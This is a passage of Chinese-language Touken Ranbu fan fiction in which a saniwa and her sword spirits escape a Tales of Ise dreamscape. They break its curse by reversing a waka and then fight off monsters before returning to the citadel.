北侧对屋的庭院里,山姥切国广半蹲在一座假山后,将身形完全隐没在阴影中。他的白布与庭院的白砂几乎融为一体,警惕地注视着某个方向。
你顺着山姥切的视线望去,只见对屋的北庇下,藤子正静静地跪坐着。在她身后,紫色的藤萝花如瀑布般垂下,衬得她本就苍白的脸颊更显虚幻。
那片区域是寝殿主人的私人空间。就算原本世界中,「藤原高子」和「在原业平」已经认识许久,但按照「藤子」和「叶」刚才的反应,应该只是初识。她一个“外人”,为何能在那儿?难道一见钟情的力量真的那么伟大?
而更让你奇怪是另一件事。
你记得很清楚,之前在南侧,庭院里盛开的是墨色的山樱。而这里,却是紫藤。一个寝殿,两个季节。
就在此时,一阵若有若无的宴乐声从寝殿另一侧传来,夹杂着男男女女的嬉笑,听起来热闹非凡,却又遥远得像是另一张书页的回响。
一个身影从寝殿通往庭院的廊道上走出——是侍女「歌」。
你的瞳孔骤然收缩。不对!你刚刚才在主殿南面看到她捧着枫叶离开。这里是北侧,就算跑过来,也不可能这么快……难道这里的时间和空间是错乱的!?
「歌」似乎没有注意到你们,径直朝另一个方向走去。但另一个声音却厉声喝住了她。
“站住!鬼鬼祟祟的,是什么人!快滚出来!”
一名武士打扮的侍从从另一侧的阴影里走出,手已经按在了刀柄上。他不仅喝止了「歌」,目光也同时锁定了假山后的你们。
气氛瞬间凝固。
山姥切和笹贯的身体同时绷紧,杀气一闪而过。眼看冲突一触即发——
你率先从假山的阴影处走出。“是我。”
你平静地站在了刀剑男士与那名侍从之间,用自己的身体隔开了双方的视线。
侍从愣了下,似乎没想到你会那么坦然的面对他。
「歌」也停下脚步,回头看到这一幕,连忙走过来解释:“大人,请息怒。这几位,是救了藤子小姐的恩人。”
“啊,是吗?”侍从敌意微微消减,打量你们一眼,生硬行礼,“失礼了。”
这两人似乎都心事重重。
你语气温和,仿佛随口闲聊,“看二位行色匆匆,是殿内有什么要事吗?”
“啊,是的……”侍女叹了口气,“今天是……「除目」的日子。”
“「除目」?”
旁边的侍从也冷哼一声,插话道:“可不是吗。一年两次的官位评定,我家主人却已经连续三年未得升迁。只因……唉!”
他似乎想说什么,又碍于身份闭上了嘴,脸上满是愤懑不平。
“歌”见状,接过话头,“都怪主人太受欢迎了……朝中那些大人,都因此排挤他……实在太可怜了。”
“受欢迎?”你想象不出来受欢迎会被排挤的原因,难道是担心拉结党派?
笹贯在你身后,用只有你能听到的气音低语:“主君,此处的‘受欢迎’,就是受女人欢迎的意思啦……”
仿佛是为了印证他的话,那侍从又忿忿地补充道:“主人不过是风雅了些,喜欢与人吟风弄月,何罪之有!倒是藤子小姐……唉,她与主人,恐怕……”
侍从也将「藤原高子」称为「藤子」。
“闭嘴!”歌急切地制止了他,“主人的事,岂容你我置喙!快走,宴席上还等着呢!”
两人仿佛在掩饰什么,互相使了个眼色,匆匆朝着宴乐声传来的方向走去。叶的身影恰好从主殿方向的廊道出现,他们一看到,更是加快脚步,几乎是摇摇晃晃地逃走了。
几句残破的话语飘散在空气中:
“……身份天差地别……”
“……如今藤原家一手遮天……”
叶来到你们面前,露出温和的微笑。他的目光扫过离开的侍女和侍从,转向你们,“我的侍从们有些过于紧张了,他们只是想保护我。希望没有惊扰到您们。”
“您的守卫们总是出现的很及时。”你侧旁敲击,“就好像凭空出现一样。”
“凭空出现吗?”叶问道,“我有时候也搞不清楚他们想做什么呢?”
“你现在知道什么了吗?”叶望向角落里墨色的山樱。
你沉默不语。
“还不知道吗?这样最好。”叶也笑了,“我有时候也觉得什么也不知道比较好呢。”
你垂下眼睛,叶是有影子的,但是比正常人的影子淡一些。“很遗憾吧。我是个无趣的人。”
“在别人说之前说这句话,没想到林大人也挺自我的。”叶笑着用扇子挡住嘴唇,转向藤子的方向,“众口铄金,又何必去堵?不如任其随风而去。我只想什么也不去想,好好地享受现在的生活。”
这句话好像在哪听过。
“‘话’……吗?”
“那个……要点灯吗?”一个侍女从阴影中走出。
白天那惨白的光线被染上了暧昧的橘红,让一切景物都显得不真切起来。
昏黄的天光将叶的半边脸照亮,另一半则隐没在更深的黑暗中。
夜晚悄然来临。
20.第二十章
夕餔设置在主殿,名为:“晚枫之宴”,于晚上六点开始。叶邀请你和刀剑男士们一同到主殿观赏舞乐。顺着长廊行至第二间,面对庭院的几帐全部升起。襖上绘有松树群鸟的图画。烛火在屏风上投下摇曳的光影,染上一层光晕。
宴席上的餐点比早上的午宴丰盛,漆器上多盛了时令水果和烤鱼、干物。
你看着冷冰冰的小份炖菜着实没有胃口,不过在饥饿下还是吃了几口米饭。身侧的小乌丸和三日月正襟危坐,神情平静。再接着山姥切和笹贯。虽说应该按照显现时间来排名座位,不过一期一振希望能照顾前田藤四郎,一同坐在末席。他温柔的侧脸在阴暗不定的光线下,显得有些模糊不清。
主殿内部的障子被重新安置,空出座位空间。你注意到,那些金色人物画的屏风后人影幢幢,似乎有许多宾客的轮廓在屏风后摇晃。
在庭院搭建的木舞台上,笙和琵琶的合奏划破宁静,音色凄切尖厉。
舞乐开场,念白低咏:“纷纷人间事,忽忽无常身。”
随着敲击声,四名佩戴木质面具、穿着丝绸着装的舞者从左侧入场。
一名金色面具的男性舞者手持刀剑,与一名红色面具的男性舞者同时做出英勇的动作。两名白色打扮的女性舞者,一个拿着镜子,一个拿着芦苇样子的植物。
舞乐不成故事,舞者只是一遍遍重复着几个象征性的动作——拔刀、劈砍、凝视、分离。营造出来的氛围也不是很欢快。
在清澈的音乐中,你看向叶和藤子。叶一直看着藤子,而藤子没有看舞乐,而是时不时瞄向某个方向。你顺着她的视线望去,是舞台后方。
似乎是看你全程面无表情,小乌丸特地解说这是一个讲述宫廷爱恋的舞乐,勇猛的武士单恋上一名公主,却又遭到公主兄弟的阻挠,于是在雷雨中与龙王搏斗,却死于龙王之手的故事。
乐声泛急,龙笛,琵琶做双调,成海风,藤花。
比起情爱,你对舞者的面具更感兴趣。扮演龙王的红色面具,衣服上有藤花图案。
乐曲余音,一名没有面具、巫女打扮的女子举着神乐铃和一把金色的扇子上台,向四方祭拜,演奏祭舞。
巫女退场,殿内陷入片刻的死寂。你以为这压抑的舞乐终于结束,正要松一口气,舞台右侧却走出了另一队人。他们没有奏乐,只是静静地分列两侧。一个身着白色贵族衣饰,佩戴老人笑面的男人,缓步走上舞台。
他一出现,殿内所有的烛火都剧烈地摇曳了一下,光线瞬间暗淡。
“主君。还没有演奏退场曲目《长庆子》。”小乌丸在一旁提醒你。
那个老人面具不管哪个角度,都仿佛在盯着你,你的手下意识按在腰间的枪套上。
屏风后的“宾客”出现骚动。
“喂,那个人是谁?”
“《采桑老》是笑面吗……”
“快点赶他走!”
只见老人面具在舞台中央跪坐下来。他没有发出声音,但一个空洞的声音忽地撞入你的脑海:
“幽梦本虚幻,惟愿故人还。”
话音落下的瞬间,轰隆——!
一道闪电劈开夜空,大雨倾盆。
“这里——!就是这座宅邸——!”一声嘶吼扯破晚宴。
宾客的尖叫声和密密麻麻的脚步声同时在周围响起。
手持太刀的武士用刀破开屏风,屏风一个接一个倒下。曾经晃着人影的屏风背后,什么人也没有。
叶与藤子惊慌地抱在一起。
在武士冲入的第一瞬间,你立马拔出腰间的咒术枪。刀剑们已经拿起地上的刀剑,小乌丸挡在你身前,三日月和笹贯护在你左右,其余的山姥切等人则组成一道防线将叶和藤子护在中间。
“找到了!”为首的是一个蓝色衣服的武士,随后数十人包围宴会的场地。
“你们是什么人!”叶也抽出腰间的太刀,他虽然脸色苍白,却依旧将藤子护在身后。
“我们是藤原基经大人的手下!奉命带回小姐!”为首的武士大叫。
“藤子不会和你们回去的!”
在一片剑拔弩张的混乱中,你的视线越过对持的人群,往投向舞台。所有乐师和舞者都已经消失不见,只剩下那个戴老人面具的男人往寝殿后方跑去。
一个瞬间的决策在你脑海里形成,你飞快跟上。
“主君!”你感觉到衣角被小乌丸扯住,但这感觉很快消失。
“喂!你是什么人!”有个武士往你挥刀,被小乌丸接住。
你在武士的呼喊中往寝殿外廊跑去,老人面具的衣角在拐角闪现。你的步子迈得更大,距离越来越近。你看清楚这个面具的佩戴者似乎的确是一位老人,脖子后有星星点点的老人斑。
你一把抓住老人面具的头带,用力向后一扯!
“——!”
面具应声而落。
“咚——!”第二道雷声。
面具后是一团不断蠕动的阴影。他发出不似人类的尖啸,反手一肘,你迅速后撤,松开他的衣服。
几道黑影带着冰冷的雨水气息,冲向你,你抬起枪准备射击,那些黑影穿过你身边冲向身后。
原本缩在角落里瑟瑟发抖的仆从们,身体正以非人的姿态扭曲、膨胀,衣服撕裂,皮肤一片片脱落,从体内探出骨刺,化作「时间朔行军」。这些朔行军的目标不是你们,而是嘶吼着冲向殿内的武士们,惨叫声和刀剑交击声加杂一起。
你和老人面具的距离重新拉开。
他匆忙遮住脸消失在北庇的黑暗中。
身后响起急促的脚步声,你的手腕忽然被一股巨大的力道攥住,你惊讶的回头,对上笹贯在昏暗雨夜里散发幽绿暗光的眼睛。
“主君。”笹贯的声音在发抖,握着你的手也在颤抖。“不要离开我的视线,我不会让你在水里消失不见的!”
雨不停下着。雨水顺着他的头发流下,停在他下垂的睫毛上,又随着他的眨眼颤落。
你想起笹贯那些凭空消失的队友,心里稍软,抬起空出的手,在笹贯的紧绷的手背上拍了拍,“我不会不见的。”
感到他手上的力道稍微松懈,你把摘
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下来的面具塞进衣襟,“好了。我们快回去和大家汇合。”
你们转身冲回主殿前的战场,一起往异变的仆从汇聚的地方跑去。时间朔行军正与藤原基经的武士们惨烈的搏杀。而刀剑男士们则陷入两难的境地。
山姥切挥刀格开一把砍向武士的敌太刀,而那名武士却惊恐地把刀尖对准他。叶在远处朝你大喊:“林大人!您不是我们的朋友吗?为什么您要和我们战斗?!”
虽然叶招待了你们,这看上去并不厚道。但这份愧疚只在你心头停留几秒便被压下,你没有犹豫,抬起咒术枪,对准离你最近的一个、正要将武士开膛破肚的朔行军扣下扳机。
枪声在雨夜中显得沉闷,优势并不在你这边。笹贯如鱼跃般落在一位敌打身上,但敌打凭借夜色精准闪避;前田藤四郎身形灵活,刀刃刺入一个朔行军的盔甲划破对方喉管,但紧接着被另一把大太刀的刀风扫中,踉跄后退;一期一振扑过去将前田护在身后,堪堪接住大太刀的刀口,手臂立即被划开一道深可见骨的伤口,血液和雨一同淅淅沥沥落地。
毫无疑问剩余的六轮敌人都在这宅邸内部。藤原基经的部下都是普通人,难以是时间朔行军对手,不到几分钟就被朔行军破阵。绕有刀剑男士们再熟练,也无法同时以一敌六。
“主君。先撤退!”小乌丸的声音在你耳边炸响,他用刀身为你挡住敌军偷袭。
撤退……吗?你不甘心地咬了咬牙,向偷袭的敌打开枪。敌刀的黑色血液飞溅到你的脸上,你莫名感到一种澎湃的激励。这里不同于树林,庭院如此辽阔,你的感知一并随着雨不断往外扩展——整个宅邸仿佛只手可握。如果动用灵力,这个乱七八糟的地方就可以像绿豆糕一样碎落……黏在你脸上的血液升入空中化作丝丝缕缕的黑雾——
“着火了!”
一个武士的尖叫打破你的恍神,让你猛然清醒。
你寻声望去,火光并非来自宅邸,而是庭院。庭院的枫叶随夜雨飘落,如暗火点燃黑色的土地。地上的枫叶,树上的枫叶,一切都在燃烧着。
一期一振的动作僵住了,猛地一震,面如白纸。他把前田藤四郎抱在怀里,双眼失神地望着火光,往远离火的方向后撤。“前田,火……快跑……快跑!”
“一期哥!?”前田的惊呼被淹没在接下来的异变中。
庭院内的季节开始疯狂流转,枫叶落下,枯草凄凄。宅邸瞬间倒塌。你看到一条河流往下流去,草间飞舞着萤火虫。
哗啦。
一个清脆的,仿佛书页翻动的声音在你脑中响起。
你猛然一怔,缓缓望向四周。
喧嚣的战场消失了,燃烧的宅邸消失了。你依旧站在山道,几只山雀叽咕着飞落在地上。
“主君——”一只小手在你的手掌中,你低下头,看到前田藤四郎正仰着脸,疑惑地看着你。
“主君从早上起就不应人呢?”笹贯的声音从前方传来。
一片微凉的结晶落在你的鼻尖,咻地融化。雪花飘落。
你怀里的面具发出震动。咒的发出者已然出现。
21.第二十一章
雪晶悠然飘落。
呵出的气在空中凝聚成团团白雾。
你呆在原地,雪花落在睫毛上,带来一丝冰冷的凉意。你看着刀剑男士们说着和早上一模一样的话语。“前田”仿佛没有察觉你停下脚步,依然牵着你的手往前走。随着你们距离拉开,你把手一抽,轻松挣脱“前田”的手。
看着“刀剑男士们”的身影嬉笑着渐渐远去,在风雪中变得模糊不清。你忽然觉得心里空荡荡的,有个漏风的口子被北风“哗啦”吹开。你深深呼吸,告诉自己这只是幻觉,况且……他们真的离开又如何呢?毕竟自己和他们才相处不到一个月的时间。你尝试用冷酷的逻辑压下心头可笑的失落感,眨了眨干涩的眼睛。
就在你以为只剩下自己一人时,左手手腕传来温暖的触感,有人拉住了你。
另一边是小乌丸,他没有和那些幻觉们一起离开。他穿着你的白色狩衣,雪花落在他漆黑的头发上,嘴唇在细雪中宛如一朵红梅。
“小乌丸?”你的嘴里像开水壶般不断吐出白气,后知后觉感到寒冷刺骨。
“主君。您刚才似乎被那些幻影扰乱了心神?”小乌丸开始解开狩衣的扣子,要脱下狩衣还你,“您若不嫌弃,先套上为父穿过的衣服,挡挡风雪。”
“不用了,你现在也是人类躯体吧。”你按住他的手,他的手在风雪中很快变得冰凉,“而且,你……为什么会?”
“唔,也许是因为吾离您最近,自然也被拉入这幻境中。”
小乌丸解释完,垂下眼睛,“明明吾是父亲啊,应该尽父亲的职责才对……主君若是不介意,可以到为父怀里,父亲的怀抱可是很宽敞的”。
他说着,煞有介事地张开双臂。
你看着他半开玩笑的样子,仔细观察眼前的乌鸦童子,确定他的确是小乌丸本人。
你的视线转到他赤裸的双脚上,它们陷入薄雪中冻得发红。你想把他抱起来走,这个念头只是一闪而过,便被你否定了。这样做恐怕会伤到小乌丸的自尊。
于是你收回手,说:“我们先回去那个宅邸。必须在雪下大前找到能躲避的地方。”
你们顺着记忆中的路线往下走。当到达藤子躺着的樱花树下时,那里空无一物,没有藤子的尸体。你和小乌丸下山更快了些。
河流下游。没有任何宅邸,取而代之的是一个荒芜了的仓屋。“小乌丸?”你看向乌鸦童子,声音因寒冷发颤,“这里原本是宅邸吧?”你抹去脸上的细碎冰碴。
“为父大概明白缘由了。主君,先进来。”小乌丸拉着你,一把推开吱嘎作响的木门,到仓屋里躲雪。
仓屋里面空无一物,只有角落里堆着少数散发霉味的柴火和细树枝。仓屋里面也没有窗户,小乌丸关上破旧的木门后,风雪声被隔绝在外,狭小的空间里一时间只剩下你们的呼吸声。
你在仓屋里不停踏步,让身体暖和起来。
小乌丸帮你拍开肩膀上的雪,“这里恐怕是《伊势物语》的世界。”
“《伊势物语》吗?”你对这本书只有大概的印象,应该是和《竹取物语》同一时期的故事吧。
“为什么这么说?”
“因为这里是仓屋。”
小乌丸拿起一根树枝,在地上厚厚的积灰上写字。“《伊势物语》是日本第一部‘歌物语’。以‘曾经有某位男子’为主人公,记录其一生与众多女子相爱的故事。”
“啊。”你隐约抓住了重点,但还是问,“某位男子……是「在原业平」?”
“没错。主君很聪明。”小乌丸毫不吝啬的夸赞你。
“不过这只是主流猜测。因为《伊势物语》中运用隐指手法,使用大量「在原业平」的和歌,也与「在原业平」的生平对上号。”
两人呼出的白气让这个空间显得不真切。
你摸摸下巴,“原来如此。意思是主人公即是「在原业平」,同时也不是「在原业平」吗?”
你脑中一闪,明白叶和藤子没有记忆的原因。“故事里的女性,也是‘某位女子’咯!”
小乌丸点头。“在《伊势物语》中,记载「在原业平」与「藤原高子」相恋的部分实际很少……主要篇目是讲述社会百态,所以也不单是「在原业平」一人的故事。”
这么一来,叶和藤子没有记忆和名字的问题便解决了。《伊势物语》中通篇以“某位男子”为主角,记载与众多“某位女子”的相恋。不曾说过名字,那么他们又何来名字与过去。
小乌丸用树枝在地上写下几首和歌,“如果是《伊势物语》,那么和二条后有关的和歌有这几首。”
他的树枝在其中一首诗上一点:“‘问君何所似,白玉体苗条。君音如秋露,我欲随君消。’”
“这首诗位于《伊势物语》第六话。讲述主人公与一位女子私通,于夜间相携私奔的故事。在路过一条名叫‘芥川’的河时,天下大雨,男子把女子藏于有鬼的仓屋。结果女子被鬼吃去。”
你精神一震,揉拧双手,一边搓手臂一边环顾这个积满灰尘的仓屋。“就是这里?”
小乌丸缓缓点头。“但物语只是艺术加工。现实中,据说是藤原基经在入宫途中遇到自己的妹妹,将藤原高子带回五条第。”
听完小乌丸的解释,你也从柴火堆捡起一条干树枝。在小乌丸写下的和歌边写写画画,勾划事件脉络。
“所以,这里存在三个互相纠缠的世界?”你一边说,一边在地上画出三个圈。
“一.史实世界:藤原基经将藤原高子带回的世界。”你在第一个圈里写下“现”。
“二.物语世界:某男子与某女子在芥川仓屋里遭遇鬼怪的《伊势物语》,也就是我和你目前所处的更深一层幻境。”你在第二个圈里写下“物语”,并用一条线将它与第一个圈相连。
“这两个世界被某种强烈执念而互相扭曲,产生第三个世界。”你的树枝在第三个圈重重地在第三个圈上点一下,“也就是——三.被扭曲的世界:有叶和藤子存在的宅邸世界。”
你的思路豁然开朗。被扭曲的链接,也就是“咒”,便是某段和歌中,无法释怀的情感。你略加思索,便明白山姥与戴面具的老人为何物。
“小乌丸,我有一个计划。”你跪坐在仓屋中央,拿出怀里微微震动的面具。“接下来想拜托你护法。”
你深吸一口冰冷的空气,再缓缓呼出白雾,“我要解咒。”
“解咒……吗?”小乌丸用狩衣的袖子挡住嘴,黑色的眼眸在昏暗的仓屋内审视你。片刻,他发出轻柔的声音,坐在你旁边。“我等刀剑,理应顺从主君的意思的。但如果出现差池……为父亦会为了保护您,拼上性命。”
他的话让你怦怦直跳的心安定不少。这里没有可以穿戴的纸布,你将怀里的老人面具单手举着,放在脸上充当简易的「覆面」。
「覆面」,在信仰的领域中,除了避免气息与目光对神明不敬,另一个最重要的功能就是「变身」的咒具。通过斗笠、毛巾、布巾,甚至妆面等道具和手段,使某人处于物忌状态。阻断污秽,脱离常世,接近异世。
解咒正式开始。
面具覆在脸上的那一刻,你感觉到久违的,奶奶呆在你身边的感觉。
透过面具的眼孔窥视前方,那个没有脸的老人果然坐在仓屋的正中央。
仓屋里的老人明明没有脸,却发出了空洞的笑声。“您是在做什么呢?”
你没有真正戴上那副面具,只是用手握住面具,让它保持「覆面」的功能。
“我是「审神者」,此来是履行‘审神’之责。我现在要向您——「在原业平」的残影,传达这个世界真正神明的神意。”
你感觉到背后小乌丸的视线。虽然说是付丧神,但这里果然有结界,只有透过面具的人才能看到名为「在原业平」的某物。
“神吗?哈哈哈……”黑色的混沌发出嗤笑,尾调拖长 “……这里没有神。”
你没有对他的嗤笑多加表示,“这个世界的神是「藤原高子」。”
黑色的嗤笑戛然而止。
“什么?”
你继续加码,“这个世界的神明是「藤原高子」与「在原业平」。你明白的吧——”
“那么第一步,辨明这个事件中人物的真身。首先是这个扭曲的世界,源于历史上「在原业平」与「藤原高子」二人的执念。”
“美好的部分,剥落成失去记忆的「叶」和「藤子」。失去记忆的他们被咒吞噬,化作《伊势物语》中的‘昔男’与‘某位女子’。”
你平静的看着他,“而怨恨,痛苦,恐惧,保留记忆的部分,又化作你,与山姥。”
“你是说高子变成了山姥那样的怪物?!”混沌发出尖锐的声音。
你露出浅浅的微笑,“因为山姥是被家族抛弃在山中的老人变成的吧。”
“……”
“老人因为失去社会劳动功能,因此被抛弃在山上。这就是山姥的原型。”
“这就是在原业平与藤原高子害怕的事。您在演戏中佩戴的面具,不是《采桑老》的面具。”你回忆宴会的场景,“平安时期,表演者除了雅乐师,就只剩下表演猿乐与田乐的艺人。这两者都是「河原者」。失去贵族身份,被家族抛弃,这些恐惧形成的物体就是「你」与「山姥」。”
仓屋归于寂静。屋外的雪下大了。“唰啦啦”的,分不清是雨还是雪。寒气穿透木板,刺入你膝盖的骨头。
“主…?”你身后的小乌丸低声呼唤你。恐怕在他眼里,你就像一个人面对空无一人的仓屋,自言自语唱独角戏的疯子。
“‘审神’一旦开始,中途切断,对你我都有损害。”你警告被称为「在原业平」的某物。他想站起来,但在你的灵压下只能保持端坐的姿势。
老人却没有停下挣扎,直到用尽气力,气喘吁吁的坐在地上。“好吧。您们刚刚不是已经知道真相了吗?如何,要杀了我们吗?”
你纠正道:“并非杀死。只是「解咒」罢了。”
“解救被咒所束缚的「叶」和「藤子」,以及被咒扭曲的「你」和「山姥」。将这个错误的世界中断。”
虽然说整理咒的脉络应当是前期准备工作,但是不知道剩下的刀剑男士们情况如何,你并不想多耽搁时间。
“真正的在原业平和藤原高子在这个时间和空间内并不存在。存在的是剥落和被咒扭曲的怪物。”
“基于此,我来向您传递真正的在原业平与藤原高子的神意。”
“喂!你……”混沌笑得更大声了,“按照你的说法,我如果是「在原业平」的一部分,岂不是也是神明吗?你竟然要向我自己传递我自己的意思?
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”
“有时候就连神明也不知道自己心中的真意。若非如此,您为何要在宴会上主动现身?”
你深吸口气,“您渴望这个世界终结,潜意识里,也希望那个成为「山姥」的「藤原高子」得到解脱。这就是您的真意。”
混沌沉默不语。
你明白时机已到。
“基于此,我将行使解咒职责。”
你念出解咒的咒语,“……身我是仍;身我——春;日昔非春;月时昔;非,月。(して 身のもと は つひと身が我 ぬなら春 の昔の春や ぬあらや月)”
反咒。
这也是最简单解咒方法之一。就像孩子们听到不好的话会说“反弹!”,古代解咒的思想也源自于此。找出咒术原句,将咒术原句倒转形成反咒,便可直接解开或归还施术者。
这段奇怪绕口的咒语便是这个世界扭曲的根源。并不是《伊势物语》恐怖的鬼怪故事。而是一首表达相思的和歌。
这首和歌原意为:“景物已非昔日景物,人依旧是昔日的有情人。”
反咒颠倒,即是“物是人非”。
“啪啦!”玻璃碎裂的声音。你手里的面具碎裂掉落。
混沌发出哀嚎,“您竟然这样扭曲我给藤子的和歌,我不会原谅你!”祂尖啸一声,挣脱灵压向你猛扑过来。
“锵——!”
清越的刀鸣。失去结界后的扭曲之物再也无法掩盖自己的身形。小乌丸出鞘,刀身与怪物的身体发生碰撞,迸发火花。
祂的一边身体被小乌丸砍断,踉跄奔跑。
你拔枪向祂的脑袋瞄准。
“砰!”
“你有什么资格解咒——!”它的头颅连着白发飞了出去。
“砰!”
“我不原谅——!”它的胸口裂开一个大洞。
“砰!”
“你也是被抛弃的……”
“砰!”
最后一声枪响,终结它最后的话语,也粉碎它的咒心。
万籁俱寂。
“其实……历史上的「在原业平」是一位心胸阔达、怜爱女性的男子。”小乌丸看着逐渐消散的黑色残渣,缓缓开口。
“嗯。”你点头。
周围的景物,宛如碎裂的琉璃花朵,一片片剥落,露出原本的模样。
豪华的府邸、宁静的逃亡生活不过千秋一梦,只有幻象里的樱花还不甘的与雪共舞。
战场一片混乱。刀剑男士,藤原基经的武士,时间朔行军,以及……一个在雪中哀嚎的山姥,同时出现在芥川河畔。
那山姥已无之前的诡异,只是无差别的攻击在场的所有人,反倒是帮你们消灭了许多时间朔行军。你看到山姥的脸上挂着两行停不下来的、黑色的泪水。
笹贯一刀贯穿一个敌胁的心脏,满身雨水和血污地跑到你面前。他的声音里是压抑不住的后怕。“主君!你和小乌丸阁下刚刚去哪里了?”
“哈秋!”一股寒意从脊背窜上,你结结实实地打了个喷嚏。你捂着鼻子,用带着鼻音的声音说,“说来话长。我没事,现在战况如何?”
你一边说一边扫过战场,确认其他刀剑男士的情况,一期一振虽然动作还有些僵硬,但是随着火光消失,眼神恢复清明。他正在和前田合力瓦解一名太刀的攻击。
你心里松口气,打开平版,现在只剩下一轮敌人。
“山姥切呢?”你问。
“山姥切他……” 笹贯的表情有些复杂,“从那个怪物出现开始,他就一直……总之,他冲过去了。”
你顺着他指的方向看去,山姥切国广正独自面对那个哭喊的「山姥」。
你顺手摸摸笹贯的头,“好了,辛苦了。”
你再度投入战斗。仅仅是一轮敌人,很快便解决彻底。
山姥切那边也很快。那名山姥和初见不同,身体的动作更接近人类。你看到它向你冲来,但被山姥切一刀拦住,没有任何抵抗地被切成两半。
“那是什么东西呢……?”
恍然中,你好像听见山姥发出一声微弱的叹息。但定眼发现山姥的头已经消失了。
随着山姥头颅落入有闪闪发光露水的草丛。这片扭曲的空间就此消灭。「乱之合战场」就此结束。
眨眼间,周围的温度回到东京九月的炎热。你们回到“联队战”的起始地点。
小乌丸来到你身边,从放在合战场边的包裹里抽出毛巾给你擦脸。山姥切也从保温壶里倒出热茶。刀剑们汇聚到你的身边。
“主君。时间朔行军为什么会成为宅邸的侍从呢?”前田藤四郎问到。他的脸也脏兮兮的。
“啊,这个嘛……”你抹去他脸上的污渍,又打了一个喷嚏,“因为「咒」也是分等级的。越是针对个人,越靠近本能施加的「咒」就越强。“得到爱”比“改变世界”更靠近个人本能,因此时间朔行军也被咒影响了。”
你默默想,所谓刀剑,不论是朔行军还是刀剑男士,终究还是会被人的意念所挥动的啊。
你清了清嗓子,决定说点轻松的,“嘛,这次的咒还算比较简单的吧。”
小乌丸露出了无奈的笑容,而笹贯则夸张地大喊起来:“主君!这一点也不简单啊!”
你不好意思的轻笑几声,算是为这次战斗画上句号。
22.第二十二章
「乱之合战场」结束,合战场外天尚未大亮。天空微青,远处的建筑染上黛色,东方的天际抹出一条白色的长带,一颗金星点缀边缘。你打开平板的联队战页面,手指在屏幕上缓慢挪动,平板上显示现实时间离进入幻境的确已经过了两天,现在是联队战开始的第四天清晨。
你把这次联队战报告自动生成完毕,发送进「总务部」反馈邮箱。随后启动时空转换器和刀剑男士们一同回到本丸。大家挨了雨水和雪,浑身泥土和血污。
小乌丸环顾一圈,提议道:“主君和孩子们劳碌奔波许久,不如将寝殿的温泉池刷洗干净,一起泡澡如何?”
你几乎立即拒绝,“小乌丸,谢谢你的提议。不过我一个人洗就好,请代我享受那份惬意吧。”多人共浴的场面光是想象一下就让你头皮发麻,而且你不希望别人看到自己的身体,这让你觉得毫无隐私。
“我可以帮主君搓背哦?”前田藤四郎跑到你身边,拉着你的衣袖一角,两眼放光。
三日月站在原地,目光落在你还在滴水的发梢上,“嘛,泡温泉也可以驱散寒气喲。”
“我现在有点累,想回房休息一下。”你不再多做解释,打个哈哈,抽开前田的手,胡乱摸摸对方的头发,踩着湿透的皮鞋匆忙离开。
走过本丸寝殿,吱嘎作响的皮鞋声在宁静中显得刺耳,你恍惚间以为自己还在幻境中。不过看到寝殿后方的天守阁,这种不安又消散了。你换下鞋子,走到天守阁三楼,今天的楼梯比平时更陡峭。你把脏衣服扔入洗衣机,一头扎入浴室,痛痛快快洗个热水澡,再换上干净的居家衣物。
脑袋发胀,打不起精神。你明白这是生病前兆,拿起热水壶到二楼煮开水。
二楼是办公间,也是你活动最多的空间。你坐在办公桌前,翻越刀剑们的状态报告和「总务部」发来的信息。由于这次bug依然发生在模拟战场内,刀剑男士离场后物理伤害已自行修复。
“狐之助。”
圆滚滚的管狐从空气中溜出来。你抱着它,把头埋在它的肚子上,揉捏好一阵皮毛,才松开它。
“审神者大人,‘联队战’的bug「总务部」已经处理完毕了。虽然「总务部」的人没有告诉我具体原因。但是审神者大人似乎可以领到很多赔偿金哦!”
狐之助在办公桌上行走,用前爪在平板上拍打。录入它携带的咒印后,本丸的仓库内多了几大箱小判、「经验符」和名为「兑换贴纸」的物品。
你在万屋街内见过这些「经验符」种类,售价非常高昂。至于「兑换贴纸」,狐之助说这些「兑换贴纸」只能在新年开放的兑换所使用,数量可以兑换两把刀剑,也算隐晦的期待你能为时政打工到明年。
“这次又多谢你帮忙了。”你忍不住用手指捏它的脚,它来回抬起前脚,发现躲不过后发出抱怨的声音。
“因为狐之助太可爱了。”你毫不留情的说道。
“审神者大人,您知道管狐的脚不能玩的道理吗?”
“很遗憾我不知道。”
天守阁一楼传来提醒,狐之助前去查看后报告是笹贯。
“怎么了吗?”你慵懒的坐在办公椅上,笹贯也收拾妥当。他换上内番服,黑色T恤的袖子上有个可爱的熊猫图案,脸上还戴一副变色的太阳镜。
服装品味真好。
你在心里感慨,让笹贯做你的服装参谋也不错。
“你不去泡温泉吗?”你伸手示意他可以坐在你对面。
笹贯拉开椅子坐下。他镜片后翠绿的眼眸躲开你的视线,手调整镜框的位置。“嗯……我来是想问,有关您突然消失的事。”
“哦?”你揉按发胀的太阳穴,露出一个不那么困倦的微笑,“你想知道哪方面?”
“如果可以的话……”他停顿一下,“全部。”
看着他那副小心翼翼的样子,你首先觉得把全部的事告诉笹贯不仅没必要,还会徒增他的不安。于是挑拣重点,比如如何进入幻境,如何发现咒与解决咒,将整件事三言两语,轻描淡写带过。
你讲完后,他坐在原位没动。安静得如同躲在车底的猫。
办公室的热水壶发出“叮”的提示音。你还没来得及动,笹贯已经往声音方向看去,站起身拿水壶给你沏水。
你从柜子里拿出纸杯,也给笹贯倒上一杯热水。
“哇。好烫!”笹贯的手指刚碰到杯壁,就夸张的大叫,缩回手。
你才想起来日本刀会不会继承日本人习惯,只喝冷水?
“那么泡茶吧。”你从办公桌的柜子里翻着茶包。平时你有喝茶的习惯,收集了不少不同口味的茶,你让笹贯自己从里面选口味。
笹贯抽出一包黑豆茶。这个茶喝起来有种咖啡豆的味道。
他听完你的解释,依旧没有离开,眼睛一直看着茶包在纸杯里缓缓沉浮,将清水染成黑色。
你默默看着他。
“是因为我突然消失的事吗?”你看向他翠绿的眼睛,“抱歉。我没有遵守诺言。”
“哎呀,我不会在意的哦。”笹贯扯出笑容。
又来了,你莫名觉得眼前这个男人湿漉漉的、仿佛一直处于雨中。也许是额发太长的问题,你想。
“第一次见面的伤口还痛吗?”
“诶?问这个嘛?”笹贯活动手臂,“其实……好像还有点僵硬?”
你寻思,也许是第一次使用灵力治疗不完善导致的。
“把本体刀给我看看。”你接过他的刀,抽出。仔细查看后发现刀刃上并没有细小的裂痕或者其他损坏,难道是肉眼无法看到的损伤?
你走到一个闲置的桌子前,把笹贯的本体刀放在桌子上,从抽屉里拿出手套,棉布,刀油等用具。这些用具是在选购咒术枪前买的,你买完枪后以为不会再用到。
